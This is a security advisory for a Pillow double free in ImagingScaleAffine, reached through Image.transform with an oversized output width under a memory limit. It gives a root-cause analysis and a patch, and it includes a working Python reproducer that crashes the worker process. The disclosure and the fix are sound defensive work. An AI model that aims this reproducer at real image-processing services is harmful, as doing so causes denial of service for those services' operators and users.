--- id: CVE-2026-112402 aliases: - GHSA-7mwm-ghpf-9vrm - BIT-pillow-2026-112402 - PYSEC-2026-4331 title: >- Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform summary: >- Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform severity: high cvss: 7.5 cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H' vendor: pillow product: pillow ecosystem: pip affected: - pillow < 13.0.0 patched: - pillow 13.0.0 published: '2026-10-21' updated: '2026-10-28' sourceUpdated: '2026-10-28T11:10:35.587185673Z' source: OSV sourceUrl: 'https://osv.dev/vulnerability/GHSA-7mwm-ghpf-9vrm' references: - url: >- https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112402' - url: >- https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9 - url: 'https://github.com/python-pillow/Pillow' - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0' - url: >- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112402.json - url: 'https://access.redhat.com/security/cve/CVE-2026-112402' - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2555859' - url: 'https://www.cve.org/CVERecord?id=CVE-2026-112402' - url: 'https://github.com/advisories/GHSA-7mwm-ghpf-9vrm' tags: - osv - pip - csaf - vex - red-hat - ghsa - cve.org - exploit-available cvssSource: osv epss: 0.00594 epssPercentile: 0.48273 exploitAvailable: true ssvc: exploitation: poc automatable: 'yes' technicalImpact: partial timestamp: '2026-10-19T21:37:14.144311Z' cwe: - CWE-1341 - CWE-416 scores: osv: 7.5 vendor: 7.5 cna: 8.7 ingestedAt: '2026-10-19T21:43:56.110Z' --- ## Overview ``` ============================================================================ Double free in ImagingScaleAffine on calloc failure via Image.transform Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` There is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable. The bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 × width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached. ## Details `ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time. Shortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker): ```python import resource, gc from PIL import Image resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) src = Image.new("L", (8, 8)) try: src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) except MemoryError: pass # expected, and the process should carry on gc.collect() # instead: SIGSEGV in _dealloc -> ImagingDelete -> free() ``` The 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` ← `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region "freed by" `ImagingDelete` ← `ImagingScaleAffine src/libImaging/Geometry.c:866` ← `ImagingTransformAffine Geometry.c:1043` ← `ImagingTransform Geometry.c:1135` ← `_transform src/_imaging.c:2153`, "previously allocated by" `ImagingNewPrologueSubtype Storage.c:53` ← … ← `_new src/_imaging.c:756`. ### Code path `Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it: ```python # src/PIL/Image.py:3008…3021 im = new(self.mode, size, fillcolor) … im.__transformer( (0, 0, *size), self, method, data, resample, fillcolor is None ) ``` `__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`). In C, `_transform()` passes its *own* image as the destination: ```c /* src/_imaging.c:2153 */ imOut = ImagingTransform( self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill ); ``` `ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear: ```c /* src/libImaging/Geometry.c:1035-1043 */ if (filterid || imIn->type == IMAGING_TYPE_I16) { return ImagingGenericTransform(…); } if (a[1] == 0 && a[3] == 0) { /* Scaling */ return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill); } ``` and `ImagingScaleAffine()` allocates a table of `imOut->xsize` ints: ```c /* src/libImaging/Geometry.c:863-868 */ /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { ImagingDelete(imOut); /* <-- imOut belongs to the caller */ return (Imaging)ImagingError_MemoryError(); } ``` `ImagingDelete()` (`src/libImaging/Storage.c:250-279`) drops the refcount to 0, returns the pixel blocks to the arena / `free()`s them via `im->destroy`, and `free(im)`. `self->image` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep->image)` again: it locks `im->mutex` and decrements `im->refcount` inside freed memory, then walks `im->blocks` (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed `blocks` array had been overwritten, so `free()` receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block. Every other error return in `Geometry.c` (`ImagingError_ModeError`, `ImagingError_Mismatch`, `"bad filter number"`, `"bad transform method"`) leaves `imOut` alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, `_resize()` (`src/_imaging.c:2026-2030`), where `imOut` is a fresh `ImagingNewDirty()` temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, `9a640e315715` ("Forking PIL", 2010-07-30), so every release since Pillow 1.0 is affected. The output width is what decides whether the path is hit: the output image costs `width × height × pixelsize` bytes, the table an additional `4 × width`. A very wide, 1-row output (300 000 000 × 1 "L": 300 MB image, 1.2 GB table) makes the table the allocation that fails. `ImagingNewPrologueSubtype()` caps `xsize` at `INT_MAX/4 - 1`, so the table is at most ~2 GB. ## Impact Applications that let a user choose the output size of `Image.transform()` — `Transform.EXTENT` (crop-and-scale), `Transform.AFFINE` with a pure scale/translate matrix, or the `ImageTransform.ExtentTransform`/`AffineTransform` helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the `MemoryError` the API is meant to raise. `resize()`, `thumbnail()` and `rotate()` do not reach this path; `Image.resize(..., NEAREST, box=...)` goes through `ImagingScaleAffine()` but owns its output, and raises a clean `MemoryError`. The second precondition is that the output image itself allocates but the extra `4 × width` bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (`ulimit -v`, `uwsgi --limit-as`, `systemd LimitAS=`, an in-app `setrlimit`), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after `MemoryError` has already been raised and possibly handled. The second `ImagingDelete()` also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown. ## Reproducing Run `repro` (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (`python3 -c`, taking `WIDTH` as an argument): the child disables core files, sets `RLIMIT_AS` to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 "L" image, calls `src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8))` with the default NEAREST resampling, prints `MemoryError caught` if that raises, then runs `gc.collect()` and prints `alive`. EXTENT with NEAREST is a pure scale, so the call goes through `ImagingScaleAffine()`, which callocs a `4 × WIDTH`-byte table in addition to the `WIDTH`-byte output image. The script runs the child twice: - **Control:** width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless. - **Attack:** width 300 000 000. The 300 MB output image is allocated, but `calloc(300000000, 4)` (1.2 GB) fails. Pillow correctly raises `MemoryError`, and the child catches it. But `ImagingScaleAffine()` has already called `ImagingDelete()` on the output image it does not own. When the output image is released, it is freed again. The child prints `MemoryError caught` and then dies with SIGSEGV instead of printing `alive`. If the attack child was killed by a signal and `gdb` is installed, the script runs the attack again under `gdb` and prints the backtrace. The crash is in `free()` ← `memory_return_block`/`ImagingDestroyArray` (`Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`_imaging.c:188`). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step. The last line is `BUG` when the control exits 0 and the attack prints `MemoryError caught` and then dies from a signal without printing `alive`. Otherwise it is `OK`. With the attached patch applied, the attack prints `MemoryError caught`, then `alive`, exits 0, and the script prints `OK`. ## Suggested fix `ImagingScaleAffine()` never owns `imOut`. The attached patch removes the `ImagingDelete()` at `src/libImaging/Geometry.c:866` and makes the one caller that relied on it, `_resize()` in `src/_imaging.c`, clean up its own temporary, the same idiom `_gaussian_blur()`/`_unsharp_mask()` already use. This also fixes `_resize()` passing a possible `NULL` from `ImagingNewDirty()` into `ImagingTransform()`, and leaking the temporary on the other `ImagingTransform()` error returns: ```diff --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { ``` Every `ImagingTransform*()` path returns the same `imOut` on success, so wrapping the original pointer in `PyImagingNew()` in `_resize()` is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Image.resize(..., NEAREST, box=...)` under the same limit raises a clean `MemoryError`. ## The patch Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead Applies to `src/libImaging/Geometry.c` at the commit above. ```diff diff --git a/src/_imaging.c b/src/_imaging.c index 7e9c0e391..ac1873292 100644 --- a/src/_imaging.c +++ b/src/_imaging.c @@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { imOut = ImagingResample(imIn, xsize, ysize, filter, box); } diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c index 1bf92e26e..2baf000a5 100644 --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( /* malloc check ok, uses calloc for overflow */ xintab = (int *)calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + /* imOut is owned by the caller; don't delete it here */ return (Imaging)ImagingError_MemoryError(); } ``` ## The reproducer
Reproducer — repro, 2,064 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866): # on calloc() failure it ImagingDelete()s imOut, which for Image.transform() # is the Imaging struct owned by the live Python output image; that image's # _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild. # A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB # 4*width lookup table fail. Expected: MemoryError, process survives. import subprocess, sys, textwrap, signal child = textwrap.dedent(''' import resource, gc, sys from PIL import Image resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2) w = int(sys.argv[1]) src = Image.new("L", (8, 8)) try: src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) print("transform ok") except MemoryError: print("MemoryError caught") gc.collect() print("alive") ''') def run(width): p = subprocess.run([sys.executable, "-u", "-c", child, str(width)], capture_output=True, text=True, timeout=50) print(f"-- width={width}: rc={p.returncode}\n{p.stdout.rstrip()}") return p ctrl = run(50_000_000) # 50 MB image + 200 MB table fit under the limit att = run(300_000_000) # 300 MB image fits, 1.2 GB table does not bug = (ctrl.returncode == 0 and "MemoryError caught" in att.stdout and "alive" not in att.stdout and att.returncode < 0) if att.returncode < 0: print("attack child killed by", signal.Signals(-att.returncode).name) import shutil if shutil.which("gdb"): # evidence only; verdict does not depend on it g = subprocess.run(["gdb", "-q", "-batch", "-ex", "run", "-ex", "bt 6", "--args", sys.executable, "-c", child, "300000000"], capture_output=True, text=True, timeout=120) print("\n".join(l for l in g.stdout.splitlines() if l.startswith("#") or "signal" in l)) print("BUG" if bug else "OK") ```
--- ## Affected packages - `pillow < 13.0.0` ## Remediation Upgrade to a patched release: - `pillow 13.0.0` ## Vendor advisories - **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112402.json)